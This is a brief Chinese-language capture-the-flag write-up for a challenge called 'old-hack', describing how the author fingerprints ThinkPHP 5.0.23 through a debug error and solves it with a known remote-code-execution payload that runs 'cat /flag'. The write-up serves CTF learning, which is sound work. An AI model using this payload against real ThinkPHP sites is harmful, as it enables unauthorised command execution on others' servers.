C
C
CTF-WriteUp
Search
⌃K

old-hack

看到THINKPHP5,习惯性尝试一下tp5.0的payload,结果就成了,开了强制路由还有debug模式
?s=/index/think\app/index
看到报错提示,提示是5.0.23版本,就去找一下payload
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag